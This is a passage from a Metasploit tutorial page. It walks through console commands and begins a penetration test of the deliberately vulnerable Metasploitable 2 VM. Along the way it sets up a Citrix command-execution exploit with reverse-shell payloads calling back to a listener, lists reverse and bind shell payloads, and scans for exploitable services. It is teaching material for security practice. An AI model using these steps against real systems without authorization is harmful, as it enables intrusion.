<h2 id="show-command" class="wp-block-heading"><a id="post-3536-_heading=h.2xcytpi"></a>Show command</h2>



<p>If you want to see the modules you currently have in your Metasploit Framework, you can use the <code>show</code> command. Show command will show you specific modules or all the modules. Show command requires an argument to be passed with it. Type in “show -h” to find out what argument the command takes:</p>



<pre class="wp-block-code promptmsf6"><code>show -h</code></pre>



<pre class="wp-block-code"><code>&#091;*] Valid parameters for the "show" command are: all, encoders, nops, exploits, payloads, auxiliary, post, plugins, info, options, favorites
&#091;*] Additional module-specific parameters are: missing, advanced, evasion, targets, actions
</code></pre>



<p>For example, you can see all the exploits by using the command in the following way: </p>



<pre class="wp-block-code promptmsf6"><code>show exploits</code></pre>



<p>This will list all the existing exploits, which will be a long list, needless to say. Let’s look at how many encoders are there:</p>



<pre class="wp-block-code promptmsf6"><code>show encoders</code></pre>



<p>Show command can be used inside of any modules to get specific modules that are compatible. <strong>You’ll understand this better in the later sections.</strong> </p>



<h2 id="search-anything-within-metasploit" class="wp-block-heading"><a id="post-3536-_heading=h.1ci93xb"></a>Search anything within Metasploit</h2>



<p>
  Let’s imagine you found a service running on an open port on the target machine. If you also know which version of the service that machine is using – you might want to look for already known vulnerabilities of that service. 
</p>



<p><strong>How do you find out if that service has any vulnerability which has ready-made exploits on Metasploit?</strong>  
</p>



<p>
  You guessed it – you must use the search utility of Metasploit. 
</p>



<p>
  It doesn’t even have to be the exploits, you can also find out payloads, auxiliaries, etc., and you can search the descriptions as well.
</p>



<p>   Let’s imagine I wanted to find out if Metasploit has anything related to <a href="https://en.wikipedia.org/wiki/Samba_(software)" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right"><strong>Samba</strong><span class="wpel-icon wpel-image wpel-icon-19"></span></a>. Samba is an useful cross platform tool that uses the SMB (Server Message Block) protocol. It allows file and other resource sharing between Windows and Unix based-host. Let’s use the <code>search</code> command: </p>



<pre class="wp-block-code promptmsf6"><code>search samba</code></pre>



<pre class="wp-block-code"><code>Matching Modules
================

   #   Name                                                 Disclosure Date  Rank       Check  Description
   -   ----                                                 ---------------  ----       -----  -----------
   0   exploit/unix/webapp/citrix_access_gateway_exec       2010-12-21       excellent  Yes    Citrix Access Gateway Command Execution
   1   exploit/windows/license/calicclnt_getconfig          2005-03-02       average    No     Computer Associates License Client GETCONFIG Overflow
   2   exploit/unix/misc/distcc_exec                        2002-02-01       excellent  Yes    DistCC Daemon Command Execution
   3   exploit/windows/smb/group_policy_startup             2015-01-26       manual     No     Group Policy Script Execution From Shared Resource
   4   post/linux/gather/enum_configs                                        normal     No     Linux Gather Configurations
   5   auxiliary/scanner/rsync/modules_list                                  normal     No     List Rsync Modules
   6   exploit/windows/fileformat/ms14_060_sandworm         2014-10-14       excellent  No     MS14-060 Microsoft Windows OLE Package Manager Code Execution
   7   exploit/unix/http/quest_kace_systems_management_rce  2018-05-31       excellent  Yes    Quest KACE Systems Management Command Injection
   8   exploit/multi/samba/usermap_script                   2007-05-14       excellent  No     Samba "username map script" Command Execution
   9   exploit/multi/samba/nttrans                          2003-04-07       average    No     Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow
   10  exploit/linux/samba/setinfopolicy_heap               2012-04-10       normal     Yes    Samba SetInformationPolicy AuditEventsInfo Heap Overflow
   11  auxiliary/admin/smb/samba_symlink_traversal                           normal     No     Samba Symlink Directory Traversal
   12  auxiliary/scanner/smb/smb_uninit_cred                                 normal     Yes    Samba _netr_ServerPasswordSet Uninitialized Credential State
   13  exploit/linux/samba/chain_reply                      2010-06-16       good       No     Samba chain_reply Memory Corruption (Linux x86)
   14  exploit/linux/samba/is_known_pipename                2017-03-24       excellent  Yes    Samba is_known_pipename() Arbitrary Module Load
   15  auxiliary/dos/samba/lsa_addprivs_heap                                 normal     No     Samba lsa_io_privilege_set Heap Overflow
   16  auxiliary/dos/samba/lsa_transnames_heap                               normal     No     Samba lsa_io_trans_names Heap Overflow
   17  exploit/linux/samba/lsa_transnames_heap              2007-05-14       good       Yes    Samba lsa_io_trans_names Heap Overflow
   18  exploit/osx/samba/lsa_transnames_heap                2007-05-14       average    No     Samba lsa_io_trans_names Heap Overflow
   19  exploit/solaris/samba/lsa_transnames_heap            2007-05-14       average    No     Samba lsa_io_trans_names Heap Overflow
   20  auxiliary/dos/samba/read_nttrans_ea_list                              normal     No     Samba read_nttrans_ea_list Integer Overflow
   21  exploit/freebsd/samba/trans2open                     2003-04-07       great      No     Samba trans2open Overflow (*BSD x86)
   22  exploit/linux/samba/trans2open                       2003-04-07       great      No     Samba trans2open Overflow (Linux x86)
   23  exploit/osx/samba/trans2open                         2003-04-07       great      No     Samba trans2open Overflow (Mac OS X PPC)
   24  exploit/solaris/samba/trans2open                     2003-04-07       great      No     Samba trans2open Overflow (Solaris SPARC)
   25  exploit/windows/http/sambar6_search_results          2003-06-21       normal     Yes    Sambar 6 Search Results Buffer Overflow


Interact with a module by name or index. For example info 25, use 25 or use exploit/windows/http/sambar6_search_results </code></pre>



<p>You can also notice the date and description of the exploit. There is also a metric called <strong>rank</strong> telling you how good the exploit is. The name is actually also the path of where the module is inside the <strong>/usr/share/metasploit-framework/</strong>  </p>



<p>There is some useful information for the exploits written in the <strong>Rank</strong>, <strong>Check</strong>, and <strong>Disclosure</strong> columns. The rank of an exploit indicates how reliable the exploit is. The check functionality for an exploit lets you check whether the exploit will work or not before actually running it on a host. The disclosure date is the date a particular exploit became publicly available. This is a good indicator of how many systems will be affected by it. </p>



<p>A relatively new exploit will affect many of the machines running the service since they might not have updated the vulnerable application in the short time period.  </p>



<h2 id="the-use-command" class="wp-block-heading"><a id="post-3536-_heading=h.3whwml4"></a>The use command</h2>



<p>After you’ve chosen the module you want to use, you can select the module by the <code>use</code> command followed by the name or the id of the module. Let’s use the first one we got from the search result: </p>



<pre class="wp-block-code promptmsf6"><code>use exploit/unix/webapp/citrix_access_gateway_exec</code></pre>



<pre class="wp-block-code"><code>&#091;*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/webapp/citrix_access_gateway_exec</span>) &gt;</code></pre>



<p>You can also specify the number for the module: </p>



<pre class="wp-block-code promptmsf6"><code>use 0</code></pre>



<pre class="wp-block-code"><code>&#091;*] Using configured payload cmd/unix/reverse_netcat
msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/webapp/citrix_access_gateway_exec</span>) &gt; </code></pre>



<h2 id="get-the-description-of-the-module-with-the-info-command" class="wp-block-heading"><a id="post-3536-_heading=h.2bn6wsx"></a>Get the description of the module with the info command</h2>



<p>If you’re not sure about a module you can always get the description and see what it does. As we showed you earlier, you could get the description by looking at the original code of the module. However, we’re going to show you a much faster and efficient way. For this, you have to use the command <code>info</code> after you’ve entered the <code>use</code> command to select an exploit: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/webapp/citrix_access_gateway_exec</span>) &gt; info</code></pre>



<pre class="wp-block-code"><code>       Name: Citrix Access Gateway Command Execution
     Module: exploit/unix/webapp/citrix_access_gateway_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2010-12-21

Provided by:
  George D. Gal
  Erwin Paternotte

Available targets:
  Id  Name
  ‐‐  ‐‐‐‐
  0   Automatic

Check supported:
  Yes

<span style="color: #FFD670;" class="stk-highlight">Basic options:
  Name     Current Setting  Required  Description
  </span><span style="color: #ffd670;" class="stk-highlight">‐‐‐‐     ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐</span><span style="color: #FFD670;" class="stk-highlight">
  Proxies                   no        A proxy chain of format typ
                                      e:host:port&#091;,type:host:port
                                      ]&#091;...]
  RHOSTS                    yes       The target host(s), see htt
                                      ps://github.com/rapid7/meta
                                      sploit-framework/wiki/Using
                                      -Metasploit
  RPORT    443              yes       The target port (TCP)
  SSL      true             yes       Use SSL
  VHOST                     no        HTTP server virtual host</span>

Payload information:
  Space: 127

<span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">Description:
  The Citrix Access Gateway provides support for multiple 
  authentication types. When utilizing the external legacy NTLM 
  authentication module known as ntlm_authenticator the Access Gateway 
  spawns the Samba 'samedit' command line utility to verify a user's 
  identity and password. By embedding shell metacharacters in the web 
  authentication form it is possible to execute arbitrary commands on 
  the Access Gateway.</span>

References:
  https:&#47;&#47;nvd.nist.gov/vuln/detail/CVE-2010-4566
  OSVDB (70099)
  http://www.securityfocus.com/bid/45402
  http://www.vsecurity.com/resources/advisory/20101221-1/
</code></pre>



<p>As you can see, the <code>info</code> command shows a detailed description of the module. You can see the description of what it does and what options to use, including explanations for everything. You can also use the <code>show info</code> command to get the same result. </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/webapp/citrix_access_gateway_exec</span>) &gt; show info</code></pre>



<h2 id="see-the-options-you-need-to-specify-for-the-modules" class="wp-block-heading"><a id="post-3536-_heading=h.qsh70q"></a>See the options you need to specify for the modules</h2>



<p>For the modules, you will have to set some of the options. Some options will already be set. You will need to specify options like your target machine IP address, port, and things like this. The options will change according to what module you are using. You can see the options using the <code>options</code> or <code>show options</code> command. Let’s see this in action: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/webapp/citrix_access_gateway_exec</span>) &gt; options</code></pre>



<pre class="wp-block-code"><code><span style="color: #FFD670;" class="stk-highlight">Module options</span> (exploit/unix/webapp/citrix_access_gateway_exec):

   Name     Current Setting  Required  Description
   ‐‐‐‐     ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   Proxies                   no        A proxy chain of format ty
                                       pe:host:port&#091;,type:host:po
                                       rt]&#091;...]
   <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">RHOSTS</span>                    <span style="color: #4B88A2;" class="stk-highlight">yes</span>       The target host(s), see ht
                                       tps://github.com/rapid7/me
                                       tasploit-framework/wiki/Us
                                       ing-Metasploit
   <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">RPORT</span>    <span style="color: #A23B72;" class="stk-highlight">443</span>              <span style="color: #4B88A2;" class="stk-highlight">yes</span>       The target port (TCP)
   <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">SSL</span>      <span style="color: #A23B72;" class="stk-highlight">true</span>             <span style="color: #4B88A2;" class="stk-highlight">yes</span>       Use SSL
   VHOST                     no        HTTP server virtual host


<span style="color: #FFD670;" class="stk-highlight">Payload options</span> (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ‐‐‐‐   ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">LHOST</span>  <span style="color: #A23B72" class="stk-highlight">10.0.2.15</span>        <span style="color: #4B88A2;" class="stk-highlight">yes</span>       The listen address (an inter
                                     face may be specified)
   <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">LPORT</span>  <span style="color: #A23B72" class="stk-highlight">4444</span>             <span style="color: #4B88A2;" class="stk-highlight">yes</span>       The listen port


Exploit target:

   Id  Name
   ‐‐  ‐‐‐‐
   0   Automatic</code></pre>



<p>You can see the options for this specific <code>exploit(unix/webapp/citrix_access_gateway_exec)</code>. You can also see the options for the default Payload (<code>cmd/unix/reverse_netcat</code>) for this exploit. </p>



<p>I have marked all the fields with different colors. The names are marked in green color. The current setting for each option is marked in pink. All of the fields are not required for the exploit to function. Some of them are optional. The mandatory ones will be listed as <code>yes</code> in the <code>Required</code> field marked in teal. Many of the options will be already filled out by default. You can either change them or keep them unchanged. </p>



<p>In this example, you can see the <code>RHOSTS</code> option does not have a current setting field value in it. This is where you will have to specify the target IP address. You will learn how to set it with the next command. </p>



<h2 id="use-the-set-command-to-set-a-value-to-a-variable" class="wp-block-heading"><a id="post-3536-_heading=h.3as4poj"></a>Use the set command to set a value to a variable</h2>



<p>Set is one of the core commands of the Metasploit console. You can use this command to set context-specific values to a variable. For example, let’s try to set the target IP address for the above <code>RHOSTS</code> option field. Type in <code>set RHOSTS [target IP]</code>: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/webapp/citrix_access_gateway_exec</span>) &gt; set RHOSTS 192.168.43.111</code></pre>



<pre class="wp-block-code"><code>RHOSTS =&gt; 192.168.43.111</code></pre>



<p>Now we’ve successfully set up the value of the <code>RHOSTS</code> variable with the set command. Let’s check if it worked or not. Type in <code>show options</code>: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/webapp/citrix_access_gateway_exec</span>) &gt; show options</code></pre>



<pre class="wp-block-code"><code>Module options (exploit/unix/webapp/citrix_access_gateway_exec):

   Name     Current Setting  Required  Description
   ‐‐‐‐     ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   Proxies                   no        A proxy chain of format type:host:port&#091;,type:host:port]&#091;...]
   <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">RHOSTS</span>   <span style="color: #A23B72;" class="stk-highlight">192.168.43.111</span>   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:&lt;path&gt;'
   RPORT    443              yes       The target port (TCP)
   SSL      true             yes       Use SSL
   VHOST                     no        HTTP server virtual host


Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ‐‐‐‐     ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐

   LHOST  192.168.74.128   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   ‐‐  ‐‐‐‐
   0   Automatic
</code></pre>



<p>The output shows the RHOSTS variable or option has the target machine IP address that we specified using the <code>set</code> command. </p>



<h2 id="choose-the-payload" class="wp-block-heading"><a id="post-3536-_heading=h.1pxezwc"></a>Choose the Payload</h2>



<p>After we’ve specified the required options for our exploit, we have to set up the payload that we’ll be sending after the exploit successfully completes. There are a lot of payloads in all of Metasploit database. However, after selecting the exploit, you will get the only payloads that are compatible with the exploit. Here, you can use the <code>show</code> command usefully to see the available payloads: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/webapp/citrix_access_gateway_exec</span>) &gt; show payloads</code></pre>



<pre class="wp-block-code"><code>Compatible Payloads
===================

   #   Name                                      Disclosure Date  Rank    Check  Description
   -   ‐‐‐‐                                      ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐    ‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   0   payload/cmd/unix/bind_busybox_telnetd                      normal  No     Unix Command Shell, Bind TCP (via BusyBox telnetd)
   1   payload/cmd/unix/bind_netcat                               normal  No     Unix Command Shell, Bind TCP (via netcat)
   2   payload/cmd/unix/bind_netcat_gaping                        normal  No     Unix Command Shell, Bind TCP (via netcat -e)
   3   payload/cmd/unix/bind_netcat_gaping_ipv6                   normal  No     Unix Command Shell, Bind TCP (via netcat -e) IPv6
   4   payload/cmd/unix/bind_socat_udp                            normal  No     Unix Command Shell, Bind UDP (via socat)
   5   payload/cmd/unix/bind_zsh                                  normal  No     Unix Command Shell, Bind TCP (via Zsh)
   6   payload/cmd/unix/generic                                   normal  No     Unix Command, Generic Command Execution
   7   payload/cmd/unix/pingback_bind                             normal  No     Unix Command Shell, Pingback Bind TCP (via netcat)
   8   payload/cmd/unix/pingback_reverse                          normal  No     Unix Command Shell, Pingback Reverse TCP (via netcat)
   9   payload/cmd/unix/reverse_bash                              normal  No     Unix Command Shell, Reverse TCP (/dev/tcp)
   10  payload/cmd/unix/reverse_bash_telnet_ssl                   normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   11  payload/cmd/unix/reverse_bash_udp                          normal  No     Unix Command Shell, Reverse UDP (/dev/udp)
   12  payload/cmd/unix/reverse_ksh                               normal  No     Unix Command Shell, Reverse TCP (via Ksh)
   13  payload/cmd/unix/reverse_ncat_ssl                          normal  No     Unix Command Shell, Reverse TCP (via ncat)
   14  payload/cmd/unix/reverse_netcat                            normal  No     Unix Command Shell, Reverse TCP (via netcat)
   15  payload/cmd/unix/reverse_netcat_gaping                     normal  No     Unix Command Shell, Reverse TCP (via netcat -e)
   16  payload/cmd/unix/reverse_python                            normal  No     Unix Command Shell, Reverse TCP (via Python)
   17  payload/cmd/unix/reverse_socat_udp                         normal  No     Unix Command Shell, Reverse UDP (via socat)
   18  payload/cmd/unix/reverse_ssh                               normal  No     Unix Command Shell, Reverse TCP SSH
   19  payload/cmd/unix/reverse_zsh                               normal  No     Unix Command Shell, Reverse TCP (via Zsh)</code></pre>



<p>Now you can choose any of the payloads that are listed. They are all compatible with the exploit. Let’s choose a different one rather than the default one. Here, we’ll use the <code>set</code> command to set the value of the payload variable to the name of the specific payload: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/webapp/citrix_access_gateway_exec</span>) &gt; set payload payload/cmd/unix/reverse_ssh</code></pre>



<pre class="wp-block-code"><code>payload =&gt; cmd/unix/reverse_ssh</code></pre>



<p>The output shows that the payload is set to (<code>cmd/unix/reverse_ssh</code>). Let’s set up the payload. Type in <code>show options</code>: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/webapp/citrix_access_gateway_exec</span>) &gt; show options</code></pre>



<pre class="wp-block-code"><code>Module options (exploit/unix/webapp/citrix_access_gateway_exec):

   Name     Current Setting  Required  Description
   ‐‐‐‐     ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   Proxies                   no        A proxy chain of format type:host:port&#091;,type:host:port]&#091;...]
   RHOSTS   192.168.43.111   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:&lt;path&gt;'
   RPORT    443              yes       The target port (TCP)
   SSL      true             yes       Use SSL
   VHOST                     no        HTTP server virtual host


Payload options (cmd/unix/reverse_ssh):

   Name   Current Setting  Required  Description
   ‐‐‐‐   ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   LHOST  192.168.74.128   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   ‐‐  ‐‐‐‐
   0   Automatic
</code></pre>



<p>The option for the payload shows that the selected payload is now changed to our desired one (<code>cmd/unix/reverse_ssh</code>). You can set the payload options with the <code>set</code> command as well: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/webapp/citrix_access_gateway_exec</span>) &gt; set LPORT 5000
LPORT =&gt; 5000</code></pre>



<p>Here, we’ve set the local port for listening to <code>5000</code> from the default <code>4444</code>. Let’s see our changes in the options.  </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/webapp/citrix_access_gateway_exec</span>) &gt; show options</code></pre>



<pre class="wp-block-code"><code>Module options (exploit/unix/webapp/citrix_access_gateway_exec):

   Name     Current Setting  Required  Description
   ‐‐‐‐     ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   Proxies                   no        A proxy chain of format type:host:port&#091;,type:host:port]&#091;...]
   RHOSTS   192.168.43.111   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:&lt;path&gt;'
   RPORT    443              yes       The target port (TCP)
   SSL      true             yes       Use SSL
   VHOST                     no        HTTP server virtual host


Payload options (cmd/unix/reverse_ssh):

   Name   Current Setting  Required  Description
   ‐‐‐‐   ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   LHOST  192.168.74.128   yes       The listen address (an interface may be specified)
   LPORT  5000             yes       The listen port


Exploit target:

   Id  Name
   ‐‐  ‐‐‐‐
   0   Automatic
</code></pre>



<p>Now that you’ve set up the exploit and the payload – you can start the fun. Let’s move on to the exploit commands. </p>



<h2 id="check-if-the-exploit-will-work-or-not" class="wp-block-heading"><a id="post-3536-_heading=h.49x2ik5"></a>Check if the exploit will work or not</h2>



<p>Before going forward with the exploit, you might wonder if it is actually going to work or not. Let’s try to find out. We’ll have to use the “check” command to see the target host is vulnerable to the exploit we’ve set up – </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/webapp/citrix_access_gateway_exec</span>) &gt; check</code></pre>



<pre class="wp-block-code"><code>&#091;*] Attempting to detect if the Citrix Access Gateway is vulnerable...
&#091;*] 192.168.43.111:443 - <span style="color: #FF521B;" class="stk-highlight">The target is not exploitable</span>.</code></pre>



<p>As you can see, the target we’re attacking is not vulnerable to this exploit. So there’s no point in continuing this line of attacking. In reality, you’ll mostly know if the machine has the vulnerability to the exploit you’re running beforehand. This is just an example to illustrate what is possible. </p>



<p>We’ll show you an example of an exploitable machine in the next section. Keep on reading! </p>



<h1 id="a-penetration-test-walkthrough" class="wp-block-heading"><a id="post-3536-_heading=h.2p2csry"></a>A penetration test walkthrough</h1>



<p>In this section, I’ll demonstrate how penetration testing is done. I will be using the intentionally vulnerable Linux machine – <strong>Metasploitable 2</strong>. This machine is created to have its port open and running vulnerable applications. You can get Metasploitable on <strong>rapid7</strong>’s website. </p>



<p>Go to <a href="https://information.rapid7.com/download-metasploitable-2017.html" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">this link<span class="wpel-icon wpel-image wpel-icon-19"></span></a> and fill up the form to download. After downloading Metasploitable, you can set it up in a VirtualBox or a VMware or any software virtualization apps. If you’re using VMware workstation player, you can just load it up by double clicking the Metasploitable configuration file from the downloaded files. </p>



<p>Before we begin, a word of caution – Always remember that infiltrating any system without permission would be illegal. It’s better to create your own systems and practice hacking into them rather than learning to do it in real systems that might be illegal. </p>



<h2 id="target-identification-and-host-discovery" class="wp-block-heading"><a id="post-3536-_heading=h.147n2zr"></a>Target identification and Host discovery</h2>



<p>Now we’ll be performing the first step in any penetration testing – gathering information about the target host. I’ve created the Metasploitable system inside my local area network. So, I already know the IP address of the target machine. You might want to find out IP address of the target host in your case. You can use DNS enumeration for that case. DNS enumeration is the way to find out the DNS records for a host. You can use <code>nslookup</code>, <code>dig</code>, or <code>host</code> command to perform DNS enumeration and get the IP address associated with a domain. If you have access to the machine, you can just find out the IP address of the machine. For checking if the host is up, you can just use the <code>ping</code> command or use <code>nmap</code> for host discovery. </p>



<p>In my case, I ran <code>ifconfig</code> command on my Metasploitable machine, and got the IP address to be <code>192.168.74.129</code>. Let’s see if our attack machine can ping the victim machine: </p>



<pre class="wp-block-code prompt"><code>nmap -sn 192.168.74.129</code></pre>



<pre class="wp-block-code"><code>Starting Nmap 7.91 ( https://nmap.org ) at 2022-02-07 03:43 EDT
Nmap scan report for 192.168.74.129
<span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">Host is up</span> (0.00070s latency).
MAC Address: 00:0C:29:C9:1A:44 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.20 seconds
</code></pre>



<p>It’s clear that our attack machine can reach the victim machine. Let’s move on to the next step. </p>



<h2 id="port-scanning-service-detection" class="wp-block-heading"><a id="post-3536-_heading=h.3o7alnk"></a>Port scanning &amp; Service detection</h2>



<p>This is the next step in the information gathering phase. Now we’ll find out what ports are open and which services are running in our victim machine. We’ll use <code>nmap</code> to run the service discovery: </p>



<pre class="wp-block-code prompt"><code>nmap -sV 192.168.74.129</code></pre>



<pre class="wp-block-code"><code>Starting Nmap 7.91 ( https://nmap.org ) at 2022-02-07 03:47 EDT
Nmap scan report for 192.168.74.129
Host is up (0.0013s latency).
Not shown: 977 closed ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp  open  exec        netkit-rsh rexecd
513/tcp  open  login       OpenBSD or Solaris rlogind
514/tcp  open  tcpwrapped
1099/tcp open  java-rmi    GNU Classpath grmiregistry
1524/tcp open  bindshell   Metasploitable root shell
2049/tcp open  nfs         2-4 (RPC #100003)
2121/tcp open  ftp         ProFTPD 1.3.1
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc         VNC (protocol 3.3)
6000/tcp open  X11         (access denied)
6667/tcp open  irc         UnrealIRCd
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:C9:1A:44 (VMware)
Service Info: Hosts:  metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.37 seconds
</code></pre>



<p>As we can see, it’s party time for any penetration tester or hacker. There are too many ports open. The more open ports – the better the chance for one of the applications to be vulnerable. If you don’t know what we’re talking about, don’t worry. We’ve covered the scanning technique from the basics in a <code>nmap</code> tutorial that you can find <a href="https://bytexd.com/how-to-use-nmap/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">here<span class="wpel-icon wpel-image wpel-icon-19"></span></a>. </p>



<h2 id="vulnerability-analysis" class="wp-block-heading"><a id="post-3536-_heading=h.23ckvvd"></a>Vulnerability Analysis</h2>



<p>Now that we’ve performed the service detection step, we know what versions of applications our victim is running. We just have to find out which one of them might be vulnerable. You can find out vulnerabilities just by googling about them, or you can also search them in your Metasploit database. Let’s do the latter, and search in Metasploit. Fire up your Metasploit console with the <code>msfconsole</code> command. </p>



<p>Let’s find out if the first application in the list, <code>vsftpd 2.3.4</code> (which is an <strong>ftp</strong> service running on port <strong>21</strong>)  that we found in our service detection phase, has any exploits associated with it. Search for <code>vsftpd</code> in your Metasploit console:</p>



<pre class="wp-block-code promptmsf6"><code>search vsftpd</code></pre>



<pre class="wp-block-code"><code>Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ‐‐‐‐                                  ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐       ‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution


Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor
</code></pre>



<p>Whoa! The first one is already a hit. As you can see, the exploit rank is excellent and you can execute backdoor commands with this exploit. However, you must remember that this is metasploitable you’re attacking. In real systems, you will not find a lot of backdated applications with vulnerabilities. Let’s move on and check if the other applications are vulnerable or not. Try to see if the <code>openssh</code> has any vulnerabilities: </p>



<pre class="wp-block-code promptmsf6"><code>search openssh</code></pre>



<pre class="wp-block-code"><code>Matching Modules
================

   #  Name                                         Disclosure Date  Rank       Check  Description
   -  ‐‐‐‐                                         ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐       ‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   0  post/windows/manage/forward_pageant                           normal     No     Forward SSH Agent Requests To Remote Pageant
   1  post/windows/manage/install_ssh                               normal     No     Install OpenSSH for Windows
   2  post/multi/gather/ssh_creds                                   normal     No     Multi Gather OpenSSH PKI Credentials Collection
   3  auxiliary/scanner/ssh/ssh_enumusers                           normal     No     SSH Username Enumeration
   4  exploit/windows/local/unquoted_service_path  2001-10-25       excellent  Yes    Windows Unquoted Service Path Privilege Escalation


Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/local/unquoted_service_path
</code></pre>



<p>However, this result is not so much promising. Still, we probably can brute force the system to get the login credentials. Let’s find out some more vulnerabilities before we start exploiting them. The ftp application <code>ProFTPD 1.3.1</code> looks promising. Let’s search if anything is in the Metasploit database: </p>



<pre class="wp-block-code promptmsf6"><code>search proftpd</code></pre>



<pre class="wp-block-code"><code>Matching Modules
================

   #  Name                                         Disclosure Date  Rank       Check  Description
   -  ‐‐‐‐                                         ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐       ‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   0  exploit/linux/misc/netsupport_manager_agent  2011-01-08       average    No     NetSupport Manager Agent Remote Buffer Overflow
   1  exploit/linux/ftp/proftp_sreplace            2006-11-26       great      Yes    ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (Linux)
   2  exploit/freebsd/ftp/proftp_telnet_iac        2010-11-01       great      Yes    ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (FreeBSD)
